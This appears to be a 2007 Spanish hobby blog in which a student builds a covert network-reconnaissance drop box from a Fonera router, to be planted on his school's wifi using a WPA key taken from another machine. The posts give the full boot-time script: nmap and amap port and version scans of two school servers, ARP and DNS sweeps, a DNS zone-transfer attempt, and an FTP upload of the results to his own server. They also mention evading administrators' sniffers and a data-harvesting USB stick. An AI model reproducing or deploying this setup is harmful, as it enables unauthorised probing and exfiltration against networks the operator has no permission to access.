En resumen esos son los resultados, ahora intentaŕe desarrollar una segunda versión este fin de semana que me proporcione mas datos, haré un scaneo ping arp a toda la red ahora que se como de grande es, scaneo de puertos tcp a las maquinas activas (creo que solo habrá APs wifi), quizás udp a f0/c0, y la estrella: intentaré meter algún scanner de vulnerabilidades. Este esquema es susceptible de modificaciones todavía tengo que planearlo bien todo, pero todo apunta a que la semana que viene sondearé la red de nuevo.

jueves, septiembre 20, 2007

Error en la fonera

Ayer sometiendo a la fonera a una batería de pruebas detecte un par de errores, uno de ellos es que empieza antes de tiempo a ejecutarse, la comprobación que puse en el script no funcionaba como debía, porque a veces esa condición (estar asociado al access-point) se cumplía y todavía la fonera no tenía ip, por lo que los scaneos a f0 (el primero en ser scaneado) eran erróneos, ya que la conexión no era posible aún. Y como los sucesivos scaneos a f0 se basan en el primero (para ahorrar tiempo) todos los datos sobre f0 eran inválidos. Hablo de esto:

while [ -e $(iwconfig ath0 | grep Not_Associated)];
do main
exit;
done

El segundo problema era en el "scaneo de versiones" de nmap (nmap -sV) y es que yo mediante un bucle for intentaba pasarle solo los puertos que nmap detectó abiertos al principio, pero como ese mismo trozo de código se usa para el scaneo a c0, la variable que almacena los puertos a scanear está "contaminada" del scaneo anterior, por también hice que se limpiara la variable antes de usarla, pero lo puse en mal sitio, dentro del bucle for, entonces lo que hacia era acabar con un único puerto, el último. El código erróneo era este:

for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS=""
PUERTOS="$PUERTOS$i,";
done

La solución al segundo problema es obvia, simplemente poner la tercera línea antes del for. El otro error si me ha tenido mas atareado estuve ayer probando de todo y no funcionaba, aunque eso si al final lo he conseguido arreglar. La idea era que yo tenía era sencilla, en vez de comprobar con iwconfig que estaba asociado al AP, debía comprobar con ifconfig si ath0 tenía dirección ip. Como no sé que ip tendré no puedo basarme en un numero para hacer la comprobación, pero si hay otras cosas que me pueden valer. Antes de obtener ip por dhcp al ejecutar ifconfig ath0 devuelve algo parecido a esto:

ifconfig ath0
ath0 Link encap:Ethernet HWaddr 00:18:84:10:B5:9D
UP BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:2 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:116 (116.0 B) TX bytes:0 (0.0 B)

En cambio cuando ya esta conectado con su ip devuelve esto otro:

ifconfig ath0
ath0 Link encap:Ethernet HWaddr 00:18:84:10:B5:9D
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:15 errors:0 dropped:0 overruns:0 frame:0

TX packets:7 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:1531 (1.4 KiB) TX bytes:1651 (1.6 KiB)

Blogger como de costumbre deforma las cosas, se supone que al principio de cada linea hay unos espacios. También comprobé que por alguna extraña causa el supuesto bucle while no funcionaba como yo esperaba y a pesar de cambiar lo del iwconfig por lo de ifconfig no conseguí que funcionase bien. Me di cuenta de que necesitaba until en vez de while, pero tampoco me funcionaba. Pensé en hacer una función recursiva, que comprueba si tiene ip, si la tiene ejecuta main y si no la tiene se llama a si misma de nuevo y así hasta que tuviese ip y se ejecutara main. En algo fallaría porque tampoco conseguí llevarlo a la práctica.

Finalmente puse esto:

START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15)
while [ "1" == "1" ];
do
if [ $START == "inet" ];
then date >> /mnt/logs/date
main;
else
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15);
fi;
done

Traducido: mientras 1 sea igual a 1 (siempre :P) comprueba si $START es igual a "inet", condición que solo se cumplirá si ath0 tiene ip, en caso afirmativo apunta la hora y luego ejecuta la función principal (main) y cuando ésta acabe se acaba el script (eso lo he añadido a la función main), si la igualdad no se cumpliera se reasignaría el valor de $START y se repetiría todo, así hasta que fuera afirmativo y se ejecutara main.

Con esos cambios el script queda así (también lo he puesto aquí):

#!/bin/bash
date > /mnt/logs/date
F0=192.168.0.1
C0=192.168.0.2
TARGET=$F0
FILE="/mnt/logs/f0"
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15)

x0scan() {
PUERTOS=""
nmap -sT -n -p- -oA $FILE -P0 $TARGET
amap -A -bvq -i $FILE'.gnmap' -o $FILE".amap"
for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS="$PUERTOS$i,";
done
nmap -sV -n -P0 $TARGET -p $PUERTOS -oA $FILE'v'
TARGET=$C0
FILE="/mnt/logs/c0"
}

main() {
ifconfig -a > /mnt/logs/ifconfig
iwconfig > /mnt/logs/iwconfig

x0scan
x0scan

#routes and other scans
nmap -sL 192.168.0.1-255 -oA /mnt/logs/dnsscan
nmap -sP -PR 192.168.0.1-255 -oA /mnt/logs/arpping
nmap --iflist -oN /mnt/logs/nmaproute
traceroute f0 > /mnt/logs/trace
traceroute c0 >> /mnt/logs/trace
traceroute 64.233.183.104 >> /mnt/logs/trace

#dns zone transfer
host -l dominio.es 192.168.0.1 > /mnt/logs/dnstransfer
date >> /mnt/logs/date
tar -czvf /mnt/logs/logs.tar.gz /mnt/logs/*
wput /mnt/logs/logs.tar.gz ftp://user:pass@neobius.es
exit
}

while [ "1" == "1" ];
do
if [ $START == "inet" ];
then date >> /mnt/logs/date
main;
else
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15);
fi;
done

Sin embargo todavía nos faltan un par de cosas por hacer que no hice cuando acabe el último post, tenemos que hacer que el script se ejecute al inicio, y como es lógico mejor si es después del wpa-supplicant. Este último ya lo configuramos, en mi caso use el archivo /etc/init.d/test. Tras hacer pruebas para que el script se ejecute al inicio me di cuenta de una cosa, todo lo que iba después del wpa supplicant no arrancaba, si ponía mi script tras él, no funcionaba. La solución fue sencilla, viendo el manual de wpa-supplicant vi una interesante opción:

-B = run daemon in the background

Correr el demonio en background! era justo lo que necesitaba, así que le añadí la opción al archivo de inicio y ya está:

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org

START=50
start(){
wpa_supplicant -dd -D wext -c /etc/wpa_supplicant.conf -i ath0 -B

}


stop(){

killall test

}


Esta parte esta lista, ahora el script en si, yo lo he hecho a través del fichero /etc/init.d/script, con este contenido:

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org

START=51
start(){
sh /mnt/backup/script.sh > /mnt/logs/dump

}

stop(){

killall script

}


Ejecuta el script después de haberse ejecutado wpa-supplicant y además guarda como log el resultado de la ejecución en /mnt/logs/dump, por si hubiera algún error al ejecutar un comando que no se guardara en los logs independientes que guardará cada uno de los comandos.

Además de eso he hecho dos cosas más deshabilitar del inicio automático cron y dnsmasq, cron simplemente porque no lo uso y dnsmasq porque si la pongo en modo cliente y dnsmasq está corriendo no me funciona el dns. Para ello simplemente hay que quitarle los permisos de ejecución:

chmod -x /etc/init.d/cron
chmod -x /etc/init.d/dnsmasq

Y por último he hecho otro cambio, la conexión ethernet la puesto con dhcp porque si la dejo estática crea una ruta fija y si luego se conecta por wifi y tiene otro rango de ip o simplemente el router tiene una dirección diferente de la especificada se producirá un conflicto de rutas y los paquetes no tendrán muy claro por donde ir, vamos que la conexión fallará casi seguro. Así he cambiado mi fichero /etc/config/network y lo he dejado así:

config interface loopback
option ifname lo
option proto static
option ipaddr 127.0.0.1
option netmask 255.0.0.0

config interface lan
option ifname eth0
option proto dhcp

config interface vlan1
option ifname ath0
option proto dhcp

Con todo esto ahora si puedo afirmar con seguridad: la fonera está lista. Ya lo he probado de todas las maneras posibles y ha funcionado así que el día que vaya al instituto no debería haber ningún problema, a no ser que falle la propia red del instituto.

PD: Hay algo que me hace sospechar que puede no funcionar del todo bien, la web de mi instituto da un 404 así que a lo mejor están haciendo cambios en el servidor, vamos a ver como sale el experimento...

miércoles, septiembre 19, 2007

El script de la fonera

Como ya os he dicho todo esta listo para el primer día (bueno todo no, tengo que comprar pilas :P ). Esta es una importante parte del puzzle, pero creo que al final ha quedado mas o menos bien, antes contar nada os pongo el script y luego os comento, por si aquí no se ve bien también lo he puesto en mi servidor, aquí:

#!/bin/bash
date > /mnt/logs/date
F0=192.168.0.1
C0=192.168.0.2
TARGET=$F0
FILE="/mnt/logs/f0"

x0scan() {
nmap -sT -n -p- -oA $FILE -P0 $TARGET
amap -A -bvq -i $FILE'.gnmap' -o $FILE".amap"
for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS=""
PUERTOS="$PUERTOS$i,";
done
nmap -sV -n -P0 $TARGET -p $PUERTOS -oA $FILE'v'
TARGET=$C0
FILE="/mnt/logs/c0"
}

main() {
ifconfig -a > /mnt/logs/ifconfig
iwconfig > /mnt/logs/iwconfig

x0scan
x0scan

#routes and other scans
nmap -sL 192.168.0.1-255 -oA /mnt/logs/dnsscan
nmap -sP -PR 192.168.0.1-255 -oA /mnt/logs/arpping
nmap --iflist -oN /mnt/logs/nmaproute
traceroute f0 > /mnt/logs/trace
traceroute c0 >> /mnt/logs/trace
traceroute 64.233.183.104 >> /mnt/logs/trace

#dns zone transfer
host -l dominio.es 192.168.0.1 > /mnt/logs/dnstransfer
date >> /mnt/logs/date
tar -czvf /mnt/logs/logs.tar.gz /mnt/logs/*
wput /mnt/logs/logs.tar.gz ftp://user:password@neobius.es
}

while [ -e $(iwconfig ath0 | grep Not_Associated)];
do main
exit;
done

Explico, al principio del script defino unas variables, c0, f0, target, y file. Se que las dos primeras podría haberlas omitido, pero he preferido dejarlo así, esas dos indican las ips de los servidores c0 y f0. La variable $TARGET indica a quien se va a scanear, y $FILE el prefijo para lo nombres de los archivos logs.

El script esta dividido en funciones, la función main y la función x0scan, además también hay un bucle que comprueba si la fonera se ha conectado a la red inalámbrica y hasta que no lo haya hecho no se ejecuta nada mas.

Lo primero que se hace es esa comprobación, que es mediante las ultimas líneas del script, con el while, cuando se ejecuta iwconfig si no esta conectado pondrá Not_Associated, si lo pone sigue esperando hasta que deje de ponerlo y si no lo pone llama a la función main y se acaba la comprobación.

La función main guarda en un log la configuración de la red y del wifi (ifconfig y iwconfig), a continuación llama dos veces a la otra función, x0scan.

x0scan se encarga del scaneo a los servidores, de ahí su nombre (los servidores son f0 y c0). Empieza con nmap, analizando con sondeos TCP los 65535 puertos del servidor f0, sin enviar ping previo y sin búsqueda inversa dns, estas medidas son para ahorrar tiempo. Todo se guarda en logs en todos los formatos (3), he elegido todos porque todos tienen sus ventajas. Lo siguiente es amap, analiza todos los puertos que nmap ha encontrado abiertos y guarda el correspondiente log, todo se registra.

También he averiguado leyendo el manual de nmap que éste también puede detectar que servicio corre y su versión, así que también se ejecutará, ya que es mejor tener dos resultados que uno. Solo se ejecutará a los puertos que nmap haya detectado abiertos al principio, para nuevamente ganar tiempo. Por último, se cambia el contenido de las variables $TARGET y $FILE para así poder ejecutar de nuevo la misma función pero hacia el servidor c0.

Tras ejecutar nuevamente x0scan, la función main busca host a través de dns en el mismo rango de ips que los servidores, quizas los routers o algo tengan nombres. Luego busca hosts vivos a traves de pings arp, he elegido pings arp porque puede ser que los pings icmp estén bloqueados por algún firewall.

Nmap guarda también las rutas que usa, me valdrá para conocer la ip de un router. También ejecuta 3 traceroutes, a c0 a f0 y a google.es (he puesto la ip por si me falla el dns), confío en que me valga para trazar un mapa aproximado de la red, que espero ir perfeccionando según tenga los datos.

Pero esto todavía no ha acabado, ahora toca intentar una transferencia de zona dns. Este proceso se hace cuando un servidor dns secundario pide al primario toda la información que tenga sobre un dominio para así actualizarse, pero a veces no esta restringido a ese servidor secundario y cualquiera puede hacerlo, así que también voy a intentar esto.

Por último y por simple seguridad, para tener un backup, se crea un tar.gz con todos los logs y lo envía por ftp a mi cuenta en el servidor de 1and1.es. Obviamente no usaré mi usario normal, he creado uno especial para la ocasión con acceso a un directorio determinado en el que no hay nada, protegido de acceso http y al que cambiaré la contraseña (no me he complicado con ella, es un solo uso...). Todo esto es por si a los del CGA les da por poner un sniffer que es muy fácil coger el password... Pensé en hacerlo con scp o con sftp, pero no, porque no se como pasarle el password de forma automática.

La idea inicial también incluía snifar un poco, pero al final no lo voy a hacer en esta primera conexión, ya pensaré cuando y como lo hago.

Ah! y otra cosa que se me pasó decir antes, también apunta la hora a la que empieza y la hora a la que acaba, que aunque la fonera no esté en hora sirve para saber cuanto tiempo tarda en completarse todo. Probándolo en mi red tarda unos 20-25 minutos, por lo que las pilas deberían aguantar sobradamente.

Por último esta es una idea de última hora que se me ha ocurrido, podría también aprender a controlar el diodo led de la fonera el de network o el de wlan (que esta en desuso) para que con algún código me diera a entender lo que hacía, por ejemplo si esta conectada a la red wifi y el script esta en funcionamiento que este 5 segundos encendida, se apague, otros 5 segundos, se apague, etc. Esta idea se me acaba de ocurrir ahora mismo, pero no se como de fácil/difícil será, de todas formas no es necesario.

PD: Algunos datos los he cambiado en el script, por ejemplo, mi usuario y contraseña del ftp

PD2: No se se si es del todo buena idea ponerlo porque puede ser que ahora en el CGA preparen algo para que no me funcione, de todas formas no importa, sea como sea será bueno, si todo va bien conseguiré los datos. Si hay algun firewall estricto o algo parecido pues tendré que agudizar el ingenio y utilizar otras técnicas :)

Amap en la fonera

Como ya os conté en el post "Compilando para la fonera" me interesa tener la herramienta amap en la fonera y en aquel post la compilé, pero daba error porque faltaban algunos archivos, yo supuse que con poner esos archivos en el directorio adecuado sería suficiente, y así era. El problema es que yo quería tenerlos en otro directorio, a mi me interesa que sea en el directorio /usr/share/amap. Por qué? simplemente porque el otro directorio no existía y muchas aplicaciones guardan en la carpeta que yo he dicho sus archivos, y prefiero que este también sea así. Conseguirlo no ha sido muy fácil, he tardado bastante, busque en el configure y en el Makefile, cambié de todo pero no funcionaba... al final lo conseguí, pero hay un problema... no recuerdo que fichero modifiqué :'(

La buena noticia es que he hecho un paquete ipk para la fonera, para poder instalar amap con el gestor de paquetes de la fonera. Os cuento como lo he hecho, necesitamos un directorio dedicado para esto no debe haber mas cosas en él, en éste creamos una carpeta llamada CONTROL y la estructura de archivos que queremos, yo he puesto /usr/bin/amap y /usr/share/amap/aquí_hay_3_archivos. Dentro de la carpeta CONTROL hay que poner un archivo de texto llamado control con es siguiente contenido (este es el mio, vosotros cambiáis lo que necesitéis):

Package: amap
Version: 5.2
Depends:
Source: http://freeworld.thc.org/thc-amap/
Section: net
Priority: optional
Maintainer: Neobius
Architecture: mips
Description: Amap allows you to know what service is running on each port, independently of the number of the port.

Yo creo que esta bastante claro lo que hay que poner en cada sitio no?

Después para crear el paquete ipk podemos usar una utilidad llamada ipkg-build (es un script), lo podéis bajar de aquí.

La forma de usarlo es sencilla, ejecutáis el script indicándole la carpeta que contiene los archivos del paquete ipk, y si queréis la carpeta donde ha de guardarse el archivo ipk, si no lo hacéis se guardará en la carpeta en la que estéis.

En cualquier caso a mi no me funcionó, cuando lo probaba en la fonera no podía instalarlo, ipkg me daba un error. Entonces mire un poco el script y sabiendo que los paquetes deb se construyen con ar y que ipkg está basado en dpkg busque ar en el script y vi esto:

outer=ar

Y lo cambié por el que incluye el toolchain de la fonera:

outer=mips-linux-uclibc-ar

Luego probé de nuevo y funcionó, si alguien quiere el paquete ipk lo puede encontrar aquí.

Fonera en modo cliente con WPA-PSK

Ya tengo la fonera lista para que haga unos scaneos y me proporcione información útil sobre la red y los servidores. Para no escribir una entrada interminable voy a contarlo por partes, en este post escribiré sobre como la he puesto en modo cliente para que se conecte a la red wifi del centro tic.

Para ello no basta solo con las herramientas por defecto que tiene OpenWrt, la conexión wifi se configura en /etc/config/wireless, desde ese archivo podemos configurarla en modo cliente, tanto para redes abiertas, wep o wpa, pero no como yo necesitaba, os explico, yo tengo la clave de la red inalámbrica del centro tic, pero cifrada, no tengo el pass en claro. La teoría es esta: una red wifi cifrada con wpa-psk tiene su essid y su frase de paso en claro que tiene entre 8 y 63 caracteres, luego a partir de esos dos mediante un algoritmo de cifrado se obtiene una nueva clave de 64 caracteres la cual se puede usar para conectarse a la red wifi y no se puede obtener la frase de paso en claro a partir de ella. Yo dispongo de esa clave cifrada, la he sacado del fichero /etc/wpa_supplicant.conf, el problema es que estas claves cifradas no se pueden usar en OpenWrt a través de su archivo normal de configuración, o al menos yo no he podido y en el foro de openwrt tampoco ha sabido ayudarme nadie. La solución es recurrir a herramientas independientes del sistema operativo, wpa-supplicant, y como yo ya tenía el fichero de configuración de un portátil pues no iba a ser muy complicado conseguirlo, creé el fichero /etc/wpa_supplicant.conf y el puse esto:

ap_scan=1
fast_reauth=1
network={
ssid="essid_de_la_red"

scan_ssid=0

proto=WPA

key_mgmt=WPA-PSK

psk=clave_cifrada_de_la_red
}

Luego para comprobar si funcionaba ejecuté este comando:

wpa_supplicant -dd -D wext -c /etc/wpa_supplicant.conf -i ath0

Ah! Como es lógico hay que tener instalado wpa-supplicant, si no es así ejecutar:

ipkg install wpa-supplicant

Lo que decía, tras ejecutar aquel comando, funcionó, bueno tuve que abrir otra conexión ssh a la fonera para comprobarlo y si, así fue, todo iba bien, un paso mas para mi objetivo ya estaba conseguido :)

Ya que he investigado y leído tantas paginas de documentación voy a contaros también como configurar la fonera en modo cliente para que se conecte a una red abierta, a una con clave wep y a una con wpa usando al passphrase en claro.

La clave esta en los ficheros /etc/network/wireless y /etc/config/network, en el segundo yo he añadido una opción para el wifi:

config interface vlan1
option ifname ath0

option proto dhcp

Y en el primero varía según sea la red a la que nos conectemos, os pongo el fichero entero y luego indico las opciones que hay que cambiar en cada caso:

config wifi-device wifi0
option type atheros
# option channel 5
# option diversity 1
# option txantenna 0
# option rxantenna 0
# option distance 2000
# disable radio to prevent an open ap after reflashing:
option disabled 0

config wifi-iface
option device wifi0

option network vlan1

option mode sta

option ssid essid

option hidden 0
# option txpower 15
# option bgscan enable
option encryption psk

option key clave_de_la_red

Ese es un fichero para wpa-psk, solo tenéis que cambiar el ssid y la clave (option key clave_de_la_red) para que os funcione. Si usa cifrado wep cambias psk por wep y la clave (clave_de_la_red) por la clave wep, y si es una red abierta la ultima línea borrarla y cambiar psk por none, o al menos creo que era así, si hay algún problema dejarme un comentario ;)

De todas formas todavía falta un detalle... que nada mas arrancar se conecte a la red wifi, esto editando el fichero /etc/config/wireless no supone mayor problema, ya que se hará así, pero si es, como en mi caso, con wpa-supplicant? hay que añadir un script que se ejecute al inicio. Yo tenía ya uno que "autoreparaba" la fonera en caso de que la red estuviera mal configurada y así me evitaba flashear, simplemente lo he modificado, porque ya no lo necesito, y ha quedado así:

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org

START=50
start(){
wpa_supplicant -dd -D wext -c /etc/wpa_supplicant.conf -i ath0
}

stop(){
killall test

}

Y ya está. Si vosotros lo acabáis de crear tendréis que darle permisos de ejecución y habilitarlo:

chmod +x /etc/init.d/test
/etc/init.d/test enable

Con eso la fonera se conectará automáticamente a la red wifi cada vez que arranque.

Ahora escribire mas post contando el resto del proceso, como he conseguido que amap funcione bien y también os pondré el script y lo comentaré. La fonera ahora mismo está esperando al primer día de instituto, ese mismo día scaneará :D

martes, septiembre 11, 2007

Dominios gratis!!!

Ya se que esta en los comentarios del post anterior, pero para que se vea mejor lo pongo también en este post.

Como me ha dicho anónimo en un comentario de la entrada anterior el Pack Bienvenida incluye un .es (lo pone en contrato), lo que pasa es que yo no lo había registrado, os vais al panel de control, dominios, nuevo y elegís el que queráis. Yo tengo neobius.es :D

La otra creo que es para todo el mundo (no lo sé seguro), es de nominalia, yo acabo de registrar neobiusnet.com. Aquí:

http://promotions.nominalia.com/index_es011.html

Ponéis el que queráis y os registráis (o al revés, según os salga), pedirá tarjeta de crédito, pero no cobra nada, eso es por si contratáis mas cosas, yo por si acaso he desactivado la renovación automática para evitar facturas inesperadas, ya lo renovaré yo si quiero.

También ofrece 3 cuentas de email con ese dominio de 1 GB cada una, subdominios, etc

Increible el salto gratuito que he dado a internet, dos hosting (aunque el de 1and1 mucho mejor), dos dominios, cuentas de email, subdominios ilimitados, dns gratuito, se supone que 50 € en adsword, puedo probar los servicios de nominalia (hosting linux/windows, etc.).

En fin un éxito esta repentina entrada en serio a internet a ver que hago con todo esto :D

[EDIT]

Una cosa mas que se me olvidaba, no he podido registrarme con ninguna de mis cuentas gmail, me decía que por motivos de seguridad esa cuenta de correo no se podía utilizar, así que me he creado una en mi hosting 1and1.es que es una redirección a mi cuenta normal de gmail. Si no podeis probar con cualquier otra que tengáis.

1and1.es

Ya lo dije en un comentario de mi penúltimo post, pero por si alguien no leyó y para decir un par de cosillas mas sobre el voy a escribir este post.

Se trata de una oferta de un proveedor de hosting alemán que hace poco ha desembarcado en España. 1and1 como oferta de bienvenida da 2 años de hosting gratuito, te da un subdominio prácticamente imposible de recordar, 2 GB de espacio en el servidor, 20 GB de transferencia mensual, ftp, blogs, bases de datos mysql, ssh, email, etc. Los detalles podéis verlos aquí.

La oferta es solo para usuarios españoles y acaba el día 31 de octubre de este año. Os recomiendo que os registréis, no esta mal para probar creo que son muchas cosas las que ofrece de forma gratuita. Yo me leí toda la información, y el contrato, a mi me surgieron 2 dudas, que voy a poner aquí por si alguien las tiene también. Las solucioné contactando con la empresa.

La primera duda era sobre la transferencia mensual, en las pagina principal pone 20 GB, pero en las condiciones generales de 1and1 ponía 2 GB, la respuesta es que son 20 GB.

La otra duda era sobre que pasa si se consumen los 20 GB, la web da a entender que se deja seguir consumiendo y luego hay que abonar la diferencia a 0.49 €/GB. Tampoco es de esa forma, se bloquea la cuenta hasta el mes siguiente, a no ser que uno compre transferencia adicional, que es lo lógico, pero en la web se da a entender otra cosa.

Esas fueron las dos dudas que yo tuve tras leer el contrato y todo lo que ponía en la web sobre el Pack Bienvenida. En cuanto las aclaré me di de alta, al poco (pocos minutos) te llama por teléfono un contestador alemán (pero en español) y te pide un código de 4 cifras que te han dado cuando te registraste, lo pones y ya está, tu cuenta en el servidor se creará y enseguida recibirás un mail con los datos. Aproximadamente unas 2 horas después todo funcionará.

Yo ahora mismo no he hecho mucho, pensaba crear un blog para tener algo en el servidor, pero el dominio no hay quien lo recuerde y ahora mismo no tengo interés en contratar uno, así que lo tendré hay para lo que necesite, hoy por ejemplo he colgado ahí el SDK de OpenWrt y el código de amap-5.2.

Otra gran ventaja el el acceso ssh, por ejemplo subir archivos con ssh es mucho mas cómodo que cualquier otra cosa, tengo un servidor http en mi servidor y un puerto mapeado en el router, así que pongo lo que quiero ahí luego me conecto por ssh a mi cuenta en el servidor de 1and1 y con screen y wget lo dejo ahí trabajando, así no tengo que tener una ventana del navegador en el laptop esperando, como sucede entre otros muchos con google pages. Todavía no he probado la potencia de calculo del servidor pero es un dato curioso que me gustaría averiguar. Si me he planteado que velocidad alcanza la línea y para le he puesto a descargar un cd de debian, he probado con varios servidores, y la velocidad mas alta que he conseguido es 4.5 MB/s en 2 minutos se bajaba el cd! (luego paré y lo borré), creo que tiene que alcanzar bastante mas velocidad, si alguien conoce un servidor muy rápido que lo diga y hago la prueba.

También he pensado otro uso para esto, como ofrece ftp puedo usarlo como depósito de la fonera. Si no consigo acceder a mi cuenta en el centro tic puedo usarlo para guardar los logs, archivos, paquetes ipk, lo que sea...

En fin, una oferta muy recomendable, además por dos años!!

PD: Esta entrada no es patrocinada :(

Compilando para la fonera

Para conseguir mi objetivo con la fonera, (lo del modo monitor), necesito algunas herramientas que no existen como paquetes precompilados para la fonera, tengo que compilarlos yo. Realmente tampoco me he puesto muy en serio con el tema todavía y solo se me ha ocurrido una herramienta que compilar, se trata de amap, que averigua que servicio corre en cada puerto, nmap simplemente ve que puertos están abiertos, mira en su base de datos de puertos conocidos y te pone el servicio que debería ir ahí, por ejemplo, si tu tienes un ftp en el puerto 80 nmap te dirá que el puerto esta abierto, pero pondrá http, no ftp. Amap trabaja de otra manera, esta herramienta mira como responden los servicios que tras esos puertos y te dice que es lo que hay, incluso puede llegar a decirte el programa y su versión, no simplemente dice es un servidor ftp, puede que te diga que servidor es y su versión. Vamos una herramienta muy útil.

Recapitulando un poco, a mi me daba un error de ld al intentar compilar cualquier cosa, ya fuera compilación normal o compilación cruzada. Pregunté en un foro y me dijeron que tenía el ld de mi sistema y otro que había compilado yo (supongo que hice algo mal durante el lfs). Así que eliminé el que yo compile ya que no me valía para nada y ya funcionó, ahora si puedo compilar tanto de forma normal como cruzada. Aquí esta el hola mundo, que al fin funcionó:

# gcc test.c -o test
# ./test
¡Hola, mundo!

Ahora veamos como compilar nuestro hola mundo para que funcione en OpenWrt en mi fonera, luego veremos como compilar amap para la fonera. Lo primero que necesitamos es el toolchain (herramientas de desarrollo) de openwrt para nuestra arquitectura (de la maquina donde compilaremos), yo me bajé i686, también hay para x86_64. La versión para i686 ahora mismo no la encuentro en la web oficial, en su día me costo encontrar el enlace, así que la subo yo y si la queréis os la bajáis de aquí. Lo primero, como es lógico, es descomprimirlo, luego tenemos que añadir la ruta de los archivos para compilar al path. Dichos archivos se encuentran en OpenWrt-SDK-atheros-2.6-for-Linux-i686/staging_dir_mips/bin. Para hacerlo estando en el directorio donde descomprimimos, en mi caso /media/almacen/toolchain/, ejecutamos:

export PATH=`pwd`/OpenWrt-SDK-atheros-2.6-for-Linux-i686/staging_dir_mips/bin:$PATH

Ahora para comprobar que todo ha salido bien ejecutamos echo $PATH, en el resultado tiene que estar nuestro directorio:

/media/almacen/toolchain/OpenWrt-SDK-atheros-2.6-for-Linux-i686/staging_dir_mips/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Queda un poquito largo, no importa, mientras funcione. Ya podemos probar, compilando, por ejemplo nuestro hola mundo:

# mips-linux-gcc test.c -o test

Si ahora intentamos ejecutarlo, no podremos, eso es porque el ejecutable es para otra arquitectura:

# ./test
-bash: ./test: cannot execute binary file

Sin embargo si lo ejecutamos en la fonera la cosa cambiará, para pasarlo a la fonera hay varias maneras, yo suelo hacerlo mediante netcat o mediante http. Como tengo un servidor http en el server simplemente lo he copiado a /var/www (luego lo haremos con netcat). Luego en la fonera lo descargamos y ejecutamos:

# wget http://debian/test
# chmod +x test
# ./test
¡Hola, mundo!

Funciona! vale, ya sabemos como compilar cosas "sencillas", ahora vamos a intentar compilar algo se hace con el clásico ./configure... amap nos servirá. Lo primero es tener el código de amap, aquí nuevamente he perdido el enlace, así que os lo subo yo también, aquí. La forma normal de compilarlo es la normal de estos paquetes:

# tar -xzvf amap-5.2.tar.gz
# cd amap-5.2
# ./configure
# make
# make install

Con eso lo tenemos para usar en nuestra maquina local, que yo también lo he hecho porque es muy útil. Ahora veamos como hacemos para que se compile usando los archivos de nuestro SDK (Software Development Kit), es decir, para usar el compilador de la fonera. Me imagino que habrá distintas formas de hacer esto, investigaré un poco para ver cual es la mejor y mas cómoda. A me se me ocurren tres, una es modificar el configure, otra es modificar el Makefile y la última que no se si será posible: en alguna parte del sistema tiene que estar escrito que compilador se usa, si cambio esa configuración y en vez de gcc pongo mips-linux-gcc estaría todo solucionado. Yo he optado por modificar el (los) Makefile, porque en el configure no he encontrado donde hacer los cambios. He hecho esto:

# ./configure

Y después he modificado los dos Makefiles que hay. Si os fijáis hay uno en el directorio en el que estamos (amap-5.2/) y otro dentro de pcre-3.9/. En el primero de ellos solo he cambiado la variable CC, he puesto esto:

CC=mips-linux-uclibc-gcc

Y en el segundo he cambiado CC, RANLIB y STRIP, todos ellos hay que cambiarlos por los de la fonera:

CC = mips-linux-uclibc-gcc
RANLIB = mips-linux-uclibc-ranlib

STRIP = mips-linux-uclibc-strip

Puede que os preguntéis porque he cambiado esas variables, y que como vais a saber que variables cambiar cuando tengáis que compilar otro programa. Existe un conjunto de programas (binutils) que son el compilador, el linkador, etc. El compilador gcc de mi debian i386 no valdrá para la fonera, y tampoco valdrá el linkador ld de mi fonera en mi server. Entonces yo he mirado los nombres de las binutils de la fonera en OpenWrt-SDK-atheros-2.6-for-Linux-i686/staging_dir_mips/bin, y veo los nombres, por ejemplo: gcc, ar, as, c++, ld... De esta manera cuando yo en el Makefile vea gcc lo cambio por mips-linux-gcc, ar lo cambio por mips-linux-ar, etc. Estoy seguro de que debe existir algún método mejor, que intentaré averiguar, pero mientras no lo sepa esta es mi única solución.

Después de haber hecho los cambios precisos compilamos:

make

Si ahora intentamos ejecutar el archivo tampoco podremos, es para la fonera, no para un x86:

# ./amap
-bash: ./amap: cannot execute binary file

Sin embargo si lo pasamos a la fonera, esta vez con netcat, funcionará. Ejecutamos en el server:

# cat amap | nc fonera 9999

En la fonera:

# nc -l -p 9999 > amap

Y ya podemos darle permisos y ejecutarlo. De todas formas todavía no funcionara bien, porque para comprobar que servicio está en cada puerto compara la respuesta con una base de datos, también tiene que estar en la fonera. Supongo que sera cosa de añadirlo al directorio adecuado, todavía no lo he hecho, en cualquier caso pienso hacer un paquete ipk por cada programa que vaya a usar, seguiré trabajando con este hasta tenerlo todo listo. En cualquier caso, lo que me he interesa ya lo he conseguido: esta compilado.

Ahora buscaré un método mas cómodo, rápido y sencillo para hacer compilación cruzada, aprenderé a hacer paquetes ipk, y me pondré a programar el script que me haga un análisis de la red.

Ya estoy bien

Pues sí, al final me cansé de la venda y como no me dolía nada al intentar mover la mano, me quité la venda ayer. El mismo día que me llegó el pendrive (por fin!!!), luego os pondré una foto y os contaré lo que he hecho con él. También tengo que contaros como conseguí compilar para la fonera desde el server y como está ahora mismo la fonera (que ya queda poco para que empiece el curso, creo que es el 24). Ahora mismo no se me ocurren mas cosas, pero creo que hay algo mas que contar, ya irán saliendo los temas.

Por cierto el pendrive ya le he instalado switchblade y funciona, consigue muchísimos datos del pc, luego cuento los detalles.

jueves, septiembre 06, 2007

Comunicado

